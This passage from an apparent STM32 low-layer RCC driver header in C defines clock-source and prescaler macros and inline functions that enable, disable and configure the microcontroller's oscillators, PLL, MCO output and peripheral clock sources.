*/ #define LL_RCC_PLLSOURCE_HSE_DIV_3 (RCC_CFGR_PLLSRC_HSE_PREDIV | RCC_CFGR2_PREDIV_DIV3) /*!< HSE/3 clock selected as PLL entry clock source */ #define LL_RCC_PLLSOURCE_HSE_DIV_4 (RCC_CFGR_PLLSRC_HSE_PREDIV | RCC_CFGR2_PREDIV_DIV4) /*!< HSE/4 clock selected as PLL entry clock source */ #define LL_RCC_PLLSOURCE_HSE_DIV_5 (RCC_CFGR_PLLSRC_HSE_PREDIV | RCC_CFGR2_PREDIV_DIV5) /*!< HSE/5 clock selected as PLL entry clock source */ #define LL_RCC_PLLSOURCE_HSE_DIV_6 (RCC_CFGR_PLLSRC_HSE_PREDIV | RCC_CFGR2_PREDIV_DIV6) /*!< HSE/6 clock selected as PLL entry clock source */ #define LL_RCC_PLLSOURCE_HSE_DIV_7 (RCC_CFGR_PLLSRC_HSE_PREDIV | RCC_CFGR2_PREDIV_DIV7) /*!< HSE/7 clock selected as PLL entry clock source */ #define LL_RCC_PLLSOURCE_HSE_DIV_8 (RCC_CFGR_PLLSRC_HSE_PREDIV | RCC_CFGR2_PREDIV_DIV8) /*!< HSE/8 clock selected as PLL entry clock source */ #define LL_RCC_PLLSOURCE_HSE_DIV_9 (RCC_CFGR_PLLSRC_HSE_PREDIV | RCC_CFGR2_PREDIV_DIV9) /*!< HSE/9 clock selected as PLL entry clock source */ #define LL_RCC_PLLSOURCE_HSE_DIV_10 (RCC_CFGR_PLLSRC_HSE_PREDIV | RCC_CFGR2_PREDIV_DIV10) /*!< HSE/10 clock selected as PLL entry clock source */ #define LL_RCC_PLLSOURCE_HSE_DIV_11 (RCC_CFGR_PLLSRC_HSE_PREDIV | RCC_CFGR2_PREDIV_DIV11) /*!< HSE/11 clock selected as PLL entry clock source */ #define LL_RCC_PLLSOURCE_HSE_DIV_12 (RCC_CFGR_PLLSRC_HSE_PREDIV | RCC_CFGR2_PREDIV_DIV12) /*!< HSE/12 clock selected as PLL entry clock source */ #define LL_RCC_PLLSOURCE_HSE_DIV_13 (RCC_CFGR_PLLSRC_HSE_PREDIV | RCC_CFGR2_PREDIV_DIV13) /*!< HSE/13 clock selected as PLL entry clock source */ #define LL_RCC_PLLSOURCE_HSE_DIV_14 (RCC_CFGR_PLLSRC_HSE_PREDIV | RCC_CFGR2_PREDIV_DIV14) /*!< HSE/14 clock selected as PLL entry clock source */ #define LL_RCC_PLLSOURCE_HSE_DIV_15 (RCC_CFGR_PLLSRC_HSE_PREDIV | RCC_CFGR2_PREDIV_DIV15) /*!< HSE/15 clock selected as PLL entry clock source */ #define LL_RCC_PLLSOURCE_HSE_DIV_16 (RCC_CFGR_PLLSRC_HSE_PREDIV | RCC_CFGR2_PREDIV_DIV16) /*!< HSE/16 clock selected as PLL entry clock source */ #endif /* RCC_PLLSRC_PREDIV1_SUPPORT */ /** * @} */ /** @defgroup RCC_LL_EC_PREDIV_DIV PREDIV Division factor * @{ */ #define LL_RCC_PREDIV_DIV_1 RCC_CFGR2_PREDIV_DIV1 /*!< PREDIV input clock not divided */ #define LL_RCC_PREDIV_DIV_2 RCC_CFGR2_PREDIV_DIV2 /*!< PREDIV input clock divided by 2 */ #define LL_RCC_PREDIV_DIV_3 RCC_CFGR2_PREDIV_DIV3 /*!< PREDIV input clock divided by 3 */ #define LL_RCC_PREDIV_DIV_4 RCC_CFGR2_PREDIV_DIV4 /*!< PREDIV input clock divided by 4 */ #define LL_RCC_PREDIV_DIV_5 RCC_CFGR2_PREDIV_DIV5 /*!< PREDIV input clock divided by 5 */ #define LL_RCC_PREDIV_DIV_6 RCC_CFGR2_PREDIV_DIV6 /*!< PREDIV input clock divided by 6 */ #define LL_RCC_PREDIV_DIV_7 RCC_CFGR2_PREDIV_DIV7 /*!< PREDIV input clock divided by 7 */ #define LL_RCC_PREDIV_DIV_8 RCC_CFGR2_PREDIV_DIV8 /*!< PREDIV input clock divided by 8 */ #define LL_RCC_PREDIV_DIV_9 RCC_CFGR2_PREDIV_DIV9 /*!< PREDIV input clock divided by 9 */ #define LL_RCC_PREDIV_DIV_10 RCC_CFGR2_PREDIV_DIV10 /*!< PREDIV input clock divided by 10 */ #define LL_RCC_PREDIV_DIV_11 RCC_CFGR2_PREDIV_DIV11 /*!< PREDIV input clock divided by 11 */ #define LL_RCC_PREDIV_DIV_12 RCC_CFGR2_PREDIV_DIV12 /*!< PREDIV input clock divided by 12 */ #define LL_RCC_PREDIV_DIV_13 RCC_CFGR2_PREDIV_DIV13 /*!< PREDIV input clock divided by 13 */ #define LL_RCC_PREDIV_DIV_14 RCC_CFGR2_PREDIV_DIV14 /*!< PREDIV input clock divided by 14 */ #define LL_RCC_PREDIV_DIV_15 RCC_CFGR2_PREDIV_DIV15 /*!< PREDIV input clock divided by 15 */ #define LL_RCC_PREDIV_DIV_16 RCC_CFGR2_PREDIV_DIV16 /*!< PREDIV input clock divided by 16 */ /** * @} */ /** * @} */ /* Exported macro ------------------------------------------------------------*/ /** @defgroup RCC_LL_Exported_Macros RCC Exported Macros * @{ */ /** @defgroup RCC_LL_EM_WRITE_READ Common Write and read registers Macros * @{ */ /** * @brief Write a value in RCC register * @param __REG__ Register to be written * @param __VALUE__ Value to be written in the register * @retval None */ #define LL_RCC_WriteReg(__REG__, __VALUE__) WRITE_REG(RCC->__REG__, (__VALUE__)) /** * @brief Read a value in RCC register * @param __REG__ Register to be read * @retval Register value */ #define LL_RCC_ReadReg(__REG__) READ_REG(RCC->__REG__) /** * @} */ /** @defgroup RCC_LL_EM_CALC_FREQ Calculate frequencies * @{ */ #if defined(RCC_PLLSRC_PREDIV1_SUPPORT) /** * @brief Helper macro to calculate the PLLCLK frequency * @note ex: @ref __LL_RCC_CALC_PLLCLK_FREQ (HSE_VALUE, @ref LL_RCC_PLL_GetMultiplicator() * , @ref LL_RCC_PLL_GetPrediv()); * @param __INPUTFREQ__ PLL Input frequency (based on HSE/HSI/HSI48) * @param __PLLMUL__: This parameter can be one of the following values: * @arg @ref LL_RCC_PLL_MUL_2 * @arg @ref LL_RCC_PLL_MUL_3 * @arg @ref LL_RCC_PLL_MUL_4 * @arg @ref LL_RCC_PLL_MUL_5 * @arg @ref LL_RCC_PLL_MUL_6 * @arg @ref LL_RCC_PLL_MUL_7 * @arg @ref LL_RCC_PLL_MUL_8 * @arg @ref LL_RCC_PLL_MUL_9 * @arg @ref LL_RCC_PLL_MUL_10 * @arg @ref LL_RCC_PLL_MUL_11 * @arg @ref LL_RCC_PLL_MUL_12 * @arg @ref LL_RCC_PLL_MUL_13 * @arg @ref LL_RCC_PLL_MUL_14 * @arg @ref LL_RCC_PLL_MUL_15 * @arg @ref LL_RCC_PLL_MUL_16 * @param __PLLPREDIV__: This parameter can be one of the following values: * @arg @ref LL_RCC_PREDIV_DIV_1 * @arg @ref LL_RCC_PREDIV_DIV_2 * @arg @ref LL_RCC_PREDIV_DIV_3 * @arg @ref LL_RCC_PREDIV_DIV_4 * @arg @ref LL_RCC_PREDIV_DIV_5 * @arg @ref LL_RCC_PREDIV_DIV_6 * @arg @ref LL_RCC_PREDIV_DIV_7 * @arg @ref LL_RCC_PREDIV_DIV_8 * @arg @ref LL_RCC_PREDIV_DIV_9 * @arg @ref LL_RCC_PREDIV_DIV_10 * @arg @ref LL_RCC_PREDIV_DIV_11 * @arg @ref LL_RCC_PREDIV_DIV_12 * @arg @ref LL_RCC_PREDIV_DIV_13 * @arg @ref LL_RCC_PREDIV_DIV_14 * @arg @ref LL_RCC_PREDIV_DIV_15 * @arg @ref LL_RCC_PREDIV_DIV_16 * @retval PLL clock frequency (in Hz) */ #define __LL_RCC_CALC_PLLCLK_FREQ(__INPUTFREQ__, __PLLMUL__, __PLLPREDIV__) \ (((__INPUTFREQ__) / ((((__PLLPREDIV__) & RCC_CFGR2_PREDIV) + 1U))) * ((((__PLLMUL__) & RCC_CFGR_PLLMUL) >> RCC_POSITION_PLLMUL) + 2U)) #else /** * @brief Helper macro to calculate the PLLCLK frequency * @note ex: @ref __LL_RCC_CALC_PLLCLK_FREQ (HSE_VALUE / (@ref LL_RCC_PLL_GetPrediv () + 1), @ref LL_RCC_PLL_GetMultiplicator()); * @param __INPUTFREQ__ PLL Input frequency (based on HSE div Prediv / HSI div 2) * @param __PLLMUL__: This parameter can be one of the following values: * @arg @ref LL_RCC_PLL_MUL_2 * @arg @ref LL_RCC_PLL_MUL_3 * @arg @ref LL_RCC_PLL_MUL_4 * @arg @ref LL_RCC_PLL_MUL_5 * @arg @ref LL_RCC_PLL_MUL_6 * @arg @ref LL_RCC_PLL_MUL_7 * @arg @ref LL_RCC_PLL_MUL_8 * @arg @ref LL_RCC_PLL_MUL_9 * @arg @ref LL_RCC_PLL_MUL_10 * @arg @ref LL_RCC_PLL_MUL_11 * @arg @ref LL_RCC_PLL_MUL_12 * @arg @ref LL_RCC_PLL_MUL_13 * @arg @ref LL_RCC_PLL_MUL_14 * @arg @ref LL_RCC_PLL_MUL_15 * @arg @ref LL_RCC_PLL_MUL_16 * @retval PLL clock frequency (in Hz) */ #define __LL_RCC_CALC_PLLCLK_FREQ(__INPUTFREQ__, __PLLMUL__) \ ((__INPUTFREQ__) * ((((__PLLMUL__) & RCC_CFGR_PLLMUL) >> RCC_POSITION_PLLMUL) + 2U)) #endif /* RCC_PLLSRC_PREDIV1_SUPPORT */ /** * @brief Helper macro to calculate the HCLK frequency * @note: __AHBPRESCALER__ be retrieved by @ref LL_RCC_GetAHBPrescaler * ex: __LL_RCC_CALC_HCLK_FREQ(LL_RCC_GetAHBPrescaler()) * @param __SYSCLKFREQ__ SYSCLK frequency (based on HSE/HSI/PLLCLK) * @param __AHBPRESCALER__: This parameter can be one of the following values: * @arg @ref LL_RCC_SYSCLK_DIV_1 * @arg @ref LL_RCC_SYSCLK_DIV_2 * @arg @ref LL_RCC_SYSCLK_DIV_4 * @arg @ref LL_RCC_SYSCLK_DIV_8 * @arg @ref LL_RCC_SYSCLK_DIV_16 * @arg @ref LL_RCC_SYSCLK_DIV_64 * @arg @ref LL_RCC_SYSCLK_DIV_128 * @arg @ref LL_RCC_SYSCLK_DIV_256 * @arg @ref LL_RCC_SYSCLK_DIV_512 * @retval HCLK clock frequency (in Hz) */ #define __LL_RCC_CALC_HCLK_FREQ(__SYSCLKFREQ__, __AHBPRESCALER__) ((__SYSCLKFREQ__) >> AHBPrescTable[((__AHBPRESCALER__) & RCC_CFGR_HPRE) >> RCC_POSITION_HPRE]) /** * @brief Helper macro to calculate the PCLK1 frequency (ABP1) * @note: __APB1PRESCALER__ be retrieved by @ref LL_RCC_GetAPB1Prescaler * ex: __LL_RCC_CALC_PCLK1_FREQ(LL_RCC_GetAPB1Prescaler()) * @param __HCLKFREQ__ HCLK frequency * @param __APB1PRESCALER__: This parameter can be one of the following values: * @arg @ref LL_RCC_APB1_DIV_1 * @arg @ref LL_RCC_APB1_DIV_2 * @arg @ref LL_RCC_APB1_DIV_4 * @arg @ref LL_RCC_APB1_DIV_8 * @arg @ref LL_RCC_APB1_DIV_16 * @retval PCLK1 clock frequency (in Hz) */ #define __LL_RCC_CALC_PCLK1_FREQ(__HCLKFREQ__, __APB1PRESCALER__) ((__HCLKFREQ__) >> APBPrescTable[(__APB1PRESCALER__) >> RCC_POSITION_PPRE1]) /** * @} */ /** * @} */ /* Exported functions --------------------------------------------------------*/ /** @defgroup RCC_LL_Exported_Functions RCC Exported Functions * @{ */ /** @defgroup RCC_LL_EF_HSE HSE * @{ */ /** * @brief Enable the Clock Security System. * @rmtoll CR CSSON LL_RCC_HSE_EnableCSS * @retval None */ __STATIC_INLINE void LL_RCC_HSE_EnableCSS(void) { SET_BIT(RCC->CR, RCC_CR_CSSON); } /** * @brief Disable the Clock Security System. * @note Cannot be disabled in HSE is ready (only by hardware) * @rmtoll CR CSSON LL_RCC_HSE_DisableCSS * @retval None */ __STATIC_INLINE void LL_RCC_HSE_DisableCSS(void) { CLEAR_BIT(RCC->CR, RCC_CR_CSSON); } /** * @brief Enable HSE external oscillator (HSE Bypass) * @rmtoll CR HSEBYP LL_RCC_HSE_EnableBypass * @retval None */ __STATIC_INLINE void LL_RCC_HSE_EnableBypass(void) { SET_BIT(RCC->CR, RCC_CR_HSEBYP); } /** * @brief Disable HSE external oscillator (HSE Bypass) * @rmtoll CR HSEBYP LL_RCC_HSE_DisableBypass * @retval None */ __STATIC_INLINE void LL_RCC_HSE_DisableBypass(void) { CLEAR_BIT(RCC->CR, RCC_CR_HSEBYP); } /** * @brief Enable HSE crystal oscillator (HSE ON) * @rmtoll CR HSEON LL_RCC_HSE_Enable * @retval None */ __STATIC_INLINE void LL_RCC_HSE_Enable(void) { SET_BIT(RCC->CR, RCC_CR_HSEON); } /** * @brief Disable HSE crystal oscillator (HSE ON) * @rmtoll CR HSEON LL_RCC_HSE_Disable * @retval None */ __STATIC_INLINE void LL_RCC_HSE_Disable(void) { CLEAR_BIT(RCC->CR, RCC_CR_HSEON); } /** * @brief Check if HSE oscillator Ready * @rmtoll CR HSERDY LL_RCC_HSE_IsReady * @retval State of bit (1 or 0). */ __STATIC_INLINE uint32_t LL_RCC_HSE_IsReady(void) { return (READ_BIT(RCC->CR, RCC_CR_HSERDY) == (RCC_CR_HSERDY)); } /** * @} */ /** @defgroup RCC_LL_EF_HSI HSI * @{ */ /** * @brief Enable HSI oscillator * @rmtoll CR HSION LL_RCC_HSI_Enable * @retval None */ __STATIC_INLINE void LL_RCC_HSI_Enable(void) { SET_BIT(RCC->CR, RCC_CR_HSION); } /** * @brief Disable HSI oscillator * @rmtoll CR HSION LL_RCC_HSI_Disable * @retval None */ __STATIC_INLINE void LL_RCC_HSI_Disable(void) { CLEAR_BIT(RCC->CR, RCC_CR_HSION); } /** * @brief Check if HSI clock is ready * @rmtoll CR HSIRDY LL_RCC_HSI_IsReady * @retval State of bit (1 or 0). */ __STATIC_INLINE uint32_t LL_RCC_HSI_IsReady(void) { return (READ_BIT(RCC->CR, RCC_CR_HSIRDY) == (RCC_CR_HSIRDY)); } /** * @brief Get HSI Calibration value * @note When HSITRIM is written, HSICAL is updated with the sum of * HSITRIM and the factory trim value * @rmtoll CR HSICAL LL_RCC_HSI_GetCalibration * @retval Between Min_Data = 0x00 and Max_Data = 0xFF */ __STATIC_INLINE uint32_t LL_RCC_HSI_GetCalibration(void) { return (uint32_t)(READ_BIT(RCC->CR, RCC_CR_HSICAL) >> RCC_POSITION_HSICAL); } /** * @brief Set HSI Calibration trimming * @note user-programmable trimming value that is added to the HSICAL * @note Default value is 16, which, when added to the HSICAL value, * should trim the HSI to 16 MHz +/- 1 % * @rmtoll CR HSITRIM LL_RCC_HSI_SetCalibTrimming * @param Value between Min_Data = 0x00 and Max_Data = 0x1F * @retval None */ __STATIC_INLINE void LL_RCC_HSI_SetCalibTrimming(uint32_t Value) { MODIFY_REG(RCC->CR, RCC_CR_HSITRIM, Value << RCC_POSITION_HSITRIM); } /** * @brief Get HSI Calibration trimming * @rmtoll CR HSITRIM LL_RCC_HSI_GetCalibTrimming * @retval Between Min_Data = 0x00 and Max_Data = 0x1F */ __STATIC_INLINE uint32_t LL_RCC_HSI_GetCalibTrimming(void) { return (uint32_t)(READ_BIT(RCC->CR, RCC_CR_HSITRIM) >> RCC_POSITION_HSITRIM); } /** * @} */ #if defined(RCC_HSI48_SUPPORT) /** @defgroup RCC_LL_EF_HSI48 HSI48 * @{ */ /** * @brief Enable HSI48 * @rmtoll CR2 HSI48ON LL_RCC_HSI48_Enable * @retval None */ __STATIC_INLINE void LL_RCC_HSI48_Enable(void) { SET_BIT(RCC->CR2, RCC_CR2_HSI48ON); } /** * @brief Disable HSI48 * @rmtoll CR2 HSI48ON LL_RCC_HSI48_Disable * @retval None */ __STATIC_INLINE void LL_RCC_HSI48_Disable(void) { CLEAR_BIT(RCC->CR2, RCC_CR2_HSI48ON); } /** * @brief Check if HSI48 oscillator Ready * @rmtoll CR2 HSI48RDY LL_RCC_HSI48_IsReady * @retval State of bit (1 or 0). */ __STATIC_INLINE uint32_t LL_RCC_HSI48_IsReady(void) { return (READ_BIT(RCC->CR2, RCC_CR2_HSI48RDY) == (RCC_CR2_HSI48RDY)); } /** * @brief Get HSI48 Calibration value * @rmtoll CR2 HSI48CAL LL_RCC_HSI48_GetCalibration * @retval Between Min_Data = 0x00 and Max_Data = 0xFF */ __STATIC_INLINE uint32_t LL_RCC_HSI48_GetCalibration(void) { return (uint32_t)(READ_BIT(RCC->CR2, RCC_CR2_HSI48CAL) >> RCC_POSITION_HSI48CAL); } /** * @} */ #endif /* RCC_HSI48_SUPPORT */ /** @defgroup RCC_LL_EF_HSI14 HSI14 * @{ */ /** * @brief Enable HSI14 * @rmtoll CR2 HSI14ON LL_RCC_HSI14_Enable * @retval None */ __STATIC_INLINE void LL_RCC_HSI14_Enable(void) { SET_BIT(RCC->CR2, RCC_CR2_HSI14ON); } /** * @brief Disable HSI14 * @rmtoll CR2 HSI14ON LL_RCC_HSI14_Disable * @retval None */ __STATIC_INLINE void LL_RCC_HSI14_Disable(void) { CLEAR_BIT(RCC->CR2, RCC_CR2_HSI14ON); } /** * @brief Check if HSI14 oscillator Ready * @rmtoll CR2 HSI14RDY LL_RCC_HSI14_IsReady * @retval State of bit (1 or 0). */ __STATIC_INLINE uint32_t LL_RCC_HSI14_IsReady(void) { return (READ_BIT(RCC->CR2, RCC_CR2_HSI14RDY) == (RCC_CR2_HSI14RDY)); } /** * @brief ADC interface can turn on the HSI14 oscillator * @rmtoll CR2 HSI14DIS LL_RCC_HSI14_EnableADCControl * @retval None */ __STATIC_INLINE void LL_RCC_HSI14_EnableADCControl(void) { CLEAR_BIT(RCC->CR2, RCC_CR2_HSI14DIS); } /** * @brief ADC interface can not turn on the HSI14 oscillator * @rmtoll CR2 HSI14DIS LL_RCC_HSI14_DisableADCControl * @retval None */ __STATIC_INLINE void LL_RCC_HSI14_DisableADCControl(void) { SET_BIT(RCC->CR2, RCC_CR2_HSI14DIS); } /** * @brief Set HSI14 Calibration trimming * @note user-programmable trimming value that is added to the HSI14CAL * @note Default value is 16, which, when added to the HSI14CAL value, * should trim the HSI14 to 14 MHz +/- 1 % * @rmtoll CR2 HSI14TRIM LL_RCC_HSI14_SetCalibTrimming * @param Value between Min_Data = 0x00 and Max_Data = 0xFF * @retval None */ __STATIC_INLINE void LL_RCC_HSI14_SetCalibTrimming(uint32_t Value) { MODIFY_REG(RCC->CR2, RCC_CR2_HSI14TRIM, Value << RCC_POSITION_HSI14TRIM); } /** * @brief Get HSI14 Calibration value * @note When HSI14TRIM is written, HSI14CAL is updated with the sum of * HSI14TRIM and the factory trim value * @rmtoll CR2 HSI14TRIM LL_RCC_HSI14_GetCalibTrimming * @retval Between Min_Data = 0x00 and Max_Data = 0x1F */ __STATIC_INLINE uint32_t LL_RCC_HSI14_GetCalibTrimming(void) { return (uint32_t)(READ_BIT(RCC->CR2, RCC_CR2_HSI14TRIM) >> RCC_POSITION_HSI14TRIM); } /** * @brief Get HSI14 Calibration trimming * @rmtoll CR2 HSI14CAL LL_RCC_HSI14_GetCalibration * @retval Between Min_Data = 0x00 and Max_Data = 0x1F */ __STATIC_INLINE uint32_t LL_RCC_HSI14_GetCalibration(void) { return (uint32_t)(READ_BIT(RCC->CR2, RCC_CR2_HSI14CAL) >> RCC_POSITION_HSI14CAL); } /** * @} */ /** @defgroup RCC_LL_EF_LSE LSE * @{ */ /** * @brief Enable Low Speed External (LSE) crystal. * @rmtoll BDCR LSEON LL_RCC_LSE_Enable * @retval None */ __STATIC_INLINE void LL_RCC_LSE_Enable(void) { SET_BIT(RCC->BDCR, RCC_BDCR_LSEON); } /** * @brief Disable Low Speed External (LSE) crystal. * @rmtoll BDCR LSEON LL_RCC_LSE_Disable * @retval None */ __STATIC_INLINE void LL_RCC_LSE_Disable(void) { CLEAR_BIT(RCC->BDCR, RCC_BDCR_LSEON); } /** * @brief Enable external clock source (LSE bypass). * @rmtoll BDCR LSEBYP LL_RCC_LSE_EnableBypass * @retval None */ __STATIC_INLINE void LL_RCC_LSE_EnableBypass(void) { SET_BIT(RCC->BDCR, RCC_BDCR_LSEBYP); } /** * @brief Disable external clock source (LSE bypass). * @rmtoll BDCR LSEBYP LL_RCC_LSE_DisableBypass * @retval None */ __STATIC_INLINE void LL_RCC_LSE_DisableBypass(void) { CLEAR_BIT(RCC->BDCR, RCC_BDCR_LSEBYP); } /** * @brief Set LSE oscillator drive capability * @note The oscillator is in Xtal mode when it is not in bypass mode. * @rmtoll BDCR LSEDRV LL_RCC_LSE_SetDriveCapability * @param LSEDrive This parameter can be one of the following values: * @arg @ref LL_RCC_LSEDRIVE_LOW * @arg @ref LL_RCC_LSEDRIVE_MEDIUMLOW * @arg @ref LL_RCC_LSEDRIVE_MEDIUMHIGH * @arg @ref LL_RCC_LSEDRIVE_HIGH * @retval None */ __STATIC_INLINE void LL_RCC_LSE_SetDriveCapability(uint32_t LSEDrive) { MODIFY_REG(RCC->BDCR, RCC_BDCR_LSEDRV, LSEDrive); } /** * @brief Get LSE oscillator drive capability * @rmtoll BDCR LSEDRV LL_RCC_LSE_GetDriveCapability * @retval Returned value can be one of the following values: * @arg @ref LL_RCC_LSEDRIVE_LOW * @arg @ref LL_RCC_LSEDRIVE_MEDIUMLOW * @arg @ref LL_RCC_LSEDRIVE_MEDIUMHIGH * @arg @ref LL_RCC_LSEDRIVE_HIGH */ __STATIC_INLINE uint32_t LL_RCC_LSE_GetDriveCapability(void) { return (uint32_t)(READ_BIT(RCC->BDCR, RCC_BDCR_LSEDRV)); } /** * @brief Check if LSE oscillator Ready * @rmtoll BDCR LSERDY LL_RCC_LSE_IsReady * @retval State of bit (1 or 0). */ __STATIC_INLINE uint32_t LL_RCC_LSE_IsReady(void) { return (READ_BIT(RCC->BDCR, RCC_BDCR_LSERDY) == (RCC_BDCR_LSERDY)); } /** * @} */ /** @defgroup RCC_LL_EF_LSI LSI * @{ */ /** * @brief Enable LSI Oscillator * @rmtoll CSR LSION LL_RCC_LSI_Enable * @retval None */ __STATIC_INLINE void LL_RCC_LSI_Enable(void) { SET_BIT(RCC->CSR, RCC_CSR_LSION); } /** * @brief Disable LSI Oscillator * @rmtoll CSR LSION LL_RCC_LSI_Disable * @retval None */ __STATIC_INLINE void LL_RCC_LSI_Disable(void) { CLEAR_BIT(RCC->CSR, RCC_CSR_LSION); } /** * @brief Check if LSI is Ready * @rmtoll CSR LSIRDY LL_RCC_LSI_IsReady * @retval State of bit (1 or 0). */ __STATIC_INLINE uint32_t LL_RCC_LSI_IsReady(void) { return (READ_BIT(RCC->CSR, RCC_CSR_LSIRDY) == (RCC_CSR_LSIRDY)); } /** * @} */ /** @defgroup RCC_LL_EF_System System * @{ */ /** * @brief Configure the system clock source * @rmtoll CFGR SW LL_RCC_SetSysClkSource * @param Source This parameter can be one of the following values: * @arg @ref LL_RCC_SYS_CLKSOURCE_HSI * @arg @ref LL_RCC_SYS_CLKSOURCE_HSE * @arg @ref LL_RCC_SYS_CLKSOURCE_PLL * @arg @ref LL_RCC_SYS_CLKSOURCE_HSI48 (*) * * (*) value not defined in all devices * @retval None */ __STATIC_INLINE void LL_RCC_SetSysClkSource(uint32_t Source) { MODIFY_REG(RCC->CFGR, RCC_CFGR_SW, Source); } /** * @brief Get the system clock source * @rmtoll CFGR SWS LL_RCC_GetSysClkSource * @retval Returned value can be one of the following values: * @arg @ref LL_RCC_SYS_CLKSOURCE_STATUS_HSI * @arg @ref LL_RCC_SYS_CLKSOURCE_STATUS_HSE * @arg @ref LL_RCC_SYS_CLKSOURCE_STATUS_PLL * @arg @ref LL_RCC_SYS_CLKSOURCE_STATUS_HSI48 (*) * * (*) value not defined in all devices */ __STATIC_INLINE uint32_t LL_RCC_GetSysClkSource(void) { return (uint32_t)(READ_BIT(RCC->CFGR, RCC_CFGR_SWS)); } /** * @brief Set AHB prescaler * @rmtoll CFGR HPRE LL_RCC_SetAHBPrescaler * @param Prescaler This parameter can be one of the following values: * @arg @ref LL_RCC_SYSCLK_DIV_1 * @arg @ref LL_RCC_SYSCLK_DIV_2 * @arg @ref LL_RCC_SYSCLK_DIV_4 * @arg @ref LL_RCC_SYSCLK_DIV_8 * @arg @ref LL_RCC_SYSCLK_DIV_16 * @arg @ref LL_RCC_SYSCLK_DIV_64 * @arg @ref LL_RCC_SYSCLK_DIV_128 * @arg @ref LL_RCC_SYSCLK_DIV_256 * @arg @ref LL_RCC_SYSCLK_DIV_512 * @retval None */ __STATIC_INLINE void LL_RCC_SetAHBPrescaler(uint32_t Prescaler) { MODIFY_REG(RCC->CFGR, RCC_CFGR_HPRE, Prescaler); } /** * @brief Set APB1 prescaler * @rmtoll CFGR PPRE LL_RCC_SetAPB1Prescaler * @param Prescaler This parameter can be one of the following values: * @arg @ref LL_RCC_APB1_DIV_1 * @arg @ref LL_RCC_APB1_DIV_2 * @arg @ref LL_RCC_APB1_DIV_4 * @arg @ref LL_RCC_APB1_DIV_8 * @arg @ref LL_RCC_APB1_DIV_16 * @retval None */ __STATIC_INLINE void LL_RCC_SetAPB1Prescaler(uint32_t Prescaler) { MODIFY_REG(RCC->CFGR, RCC_CFGR_PPRE, Prescaler); } /** * @brief Get AHB prescaler * @rmtoll CFGR HPRE LL_RCC_GetAHBPrescaler * @retval Returned value can be one of the following values: * @arg @ref LL_RCC_SYSCLK_DIV_1 * @arg @ref LL_RCC_SYSCLK_DIV_2 * @arg @ref LL_RCC_SYSCLK_DIV_4 * @arg @ref LL_RCC_SYSCLK_DIV_8 * @arg @ref LL_RCC_SYSCLK_DIV_16 * @arg @ref LL_RCC_SYSCLK_DIV_64 * @arg @ref LL_RCC_SYSCLK_DIV_128 * @arg @ref LL_RCC_SYSCLK_DIV_256 * @arg @ref LL_RCC_SYSCLK_DIV_512 */ __STATIC_INLINE uint32_t LL_RCC_GetAHBPrescaler(void) { return (uint32_t)(READ_BIT(RCC->CFGR, RCC_CFGR_HPRE)); } /** * @brief Get APB1 prescaler * @rmtoll CFGR PPRE LL_RCC_GetAPB1Prescaler * @retval Returned value can be one of the following values: * @arg @ref LL_RCC_APB1_DIV_1 * @arg @ref LL_RCC_APB1_DIV_2 * @arg @ref LL_RCC_APB1_DIV_4 * @arg @ref LL_RCC_APB1_DIV_8 * @arg @ref LL_RCC_APB1_DIV_16 */ __STATIC_INLINE uint32_t LL_RCC_GetAPB1Prescaler(void) { return (uint32_t)(READ_BIT(RCC->CFGR, RCC_CFGR_PPRE)); } /** * @} */ /** @defgroup RCC_LL_EF_MCO MCO * @{ */ /** * @brief Configure MCOx * @rmtoll CFGR MCO LL_RCC_ConfigMCO\n * CFGR MCOPRE LL_RCC_ConfigMCO\n * CFGR PLLNODIV LL_RCC_ConfigMCO * @param MCOxSource This parameter can be one of the following values: * @arg @ref LL_RCC_MCO1SOURCE_NOCLOCK * @arg @ref LL_RCC_MCO1SOURCE_HSI14 * @arg @ref LL_RCC_MCO1SOURCE_SYSCLK * @arg @ref LL_RCC_MCO1SOURCE_HSI * @arg @ref LL_RCC_MCO1SOURCE_HSE * @arg @ref LL_RCC_MCO1SOURCE_LSI * @arg @ref LL_RCC_MCO1SOURCE_LSE * @arg @ref LL_RCC_MCO1SOURCE_HSI48 (*) * @arg @ref LL_RCC_MCO1SOURCE_PLLCLK (*) * @arg @ref LL_RCC_MCO1SOURCE_PLLCLK_DIV_2 * * (*) value not defined in all devices * @param MCOxPrescaler This parameter can be one of the following values: * @arg @ref LL_RCC_MCO1_DIV_1 * @arg @ref LL_RCC_MCO1_DIV_2 (*) * @arg @ref LL_RCC_MCO1_DIV_4 (*) * @arg @ref LL_RCC_MCO1_DIV_8 (*) * @arg @ref LL_RCC_MCO1_DIV_16 (*) * @arg @ref LL_RCC_MCO1_DIV_32 (*) * @arg @ref LL_RCC_MCO1_DIV_64 (*) * @arg @ref LL_RCC_MCO1_DIV_128 (*) * * (*) value not defined in all devices * @retval None */ __STATIC_INLINE void LL_RCC_ConfigMCO(uint32_t MCOxSource, uint32_t MCOxPrescaler) { #if defined(RCC_CFGR_MCOPRE) #if defined(RCC_CFGR_PLLNODIV) MODIFY_REG(RCC->CFGR, RCC_CFGR_MCOSEL | RCC_CFGR_MCOPRE | RCC_CFGR_PLLNODIV, MCOxSource | MCOxPrescaler); #else MODIFY_REG(RCC->CFGR, RCC_CFGR_MCOSEL | RCC_CFGR_MCOPRE, MCOxSource | MCOxPrescaler); #endif /* RCC_CFGR_PLLNODIV */ #else MODIFY_REG(RCC->CFGR, RCC_CFGR_MCOSEL, MCOxSource); #endif /* RCC_CFGR_MCOPRE */ } /** * @} */ /** @defgroup RCC_LL_EF_Peripheral_Clock_Source Peripheral Clock Source * @{ */ /** * @brief Configure USARTx clock source * @rmtoll CFGR3 USART1SW LL_RCC_SetUSARTClockSource\n * CFGR3 USART2SW LL_RCC_SetUSARTClockSource\n * CFGR3 USART3SW LL_RCC_SetUSARTClockSource * @param USARTxSource This parameter can be one of the following values: * @arg @ref LL_RCC_USART1_CLKSOURCE_PCLK1 * @arg @ref LL_RCC_USART1_CLKSOURCE_SYSCLK * @arg @ref LL_RCC_USART1_CLKSOURCE_LSE * @arg @ref LL_RCC_USART1_CLKSOURCE_HSI * @arg @ref LL_RCC_USART2_CLKSOURCE_PCLK1 (*) * @arg @ref LL_RCC_USART2_CLKSOURCE_SYSCLK (*) * @arg @ref LL_RCC_USART2_CLKSOURCE_LSE (*) * @arg @ref LL_RCC_USART2_CLKSOURCE_HSI (*) * @arg @ref LL_RCC_USART3_CLKSOURCE_PCLK1 (*) * @arg @ref LL_RCC_USART3_CLKSOURCE_SYSCLK (*) * @arg @ref LL_RCC_USART3_CLKSOURCE_LSE (*) * @arg @ref 